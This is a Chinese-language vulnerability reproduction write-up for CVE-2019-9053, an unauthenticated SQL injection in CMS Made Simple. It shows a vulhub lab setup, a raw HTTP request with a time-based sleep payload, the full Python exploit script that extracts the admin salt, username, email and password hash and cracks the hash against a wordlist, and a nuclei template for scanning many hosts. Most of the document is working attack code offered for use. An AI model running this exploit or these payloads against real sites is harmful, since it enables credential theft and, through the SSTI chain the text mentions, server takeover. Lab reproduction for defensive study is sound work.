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漏洞描述

在 2.2.9.1 之前的版本中,CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞(CVE-2021-26120),攻击者可在目标服务器上执行任意代码。

搭建靶场

vulhub搭建

1708849662701.png

漏洞复现

打开页面

1708849569942.png

构造payload

1708849605528.png

GET /moduleinterface.php?mact=News,m1_,default,0&m1_idlist=a,b,1,5))+and+(select+sleep(5))--+ HTTP/1.1
Host: 172.16.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.10.10/

脚本一把梭

python poc.py -u http://172.16.10.10

1708849803750.png

#!/usr/bin/env python2
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()

nuclei批量验证

1708849841254.png

id: CMS-Made-Simple-SQLi-RCE-CVE-2019-9053

info:
  name: CMS Made Simple (CMSMS) < 2.2.10 前台SQL注入漏洞(CVE-2019-9053)
  author: changge
  severity: high
  description: |
    在 2.2.9.1 之前的版本中,CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)),攻击者可在目标服务器上执行任意代码。
  metadata:
    vendor: CMS Made Simple
    homepage: https://www.cmsmadesimple.org/
    software_link: https://www.cmsmadesimple.org/downloads/cmsms/
    cve: CVE-2019-9053
  reference:
    - https://www.exploit-db.com/exploits/46635
  tags: sql-injection, rce, cms, exploit

requests:
  - raw:
      - |
        GET /moduleinterface.php?mact=News,m1_,default,0&m1_idlist=a,b,1,5))+and+(select+sleep(5))--+ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
        Connection: close
        Accept-Encoding: gzip, deflate
        Accept: */*
        Referer: http://{{Hostname}}/

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

github poc总汇地址:https://github.com/AYcg/poc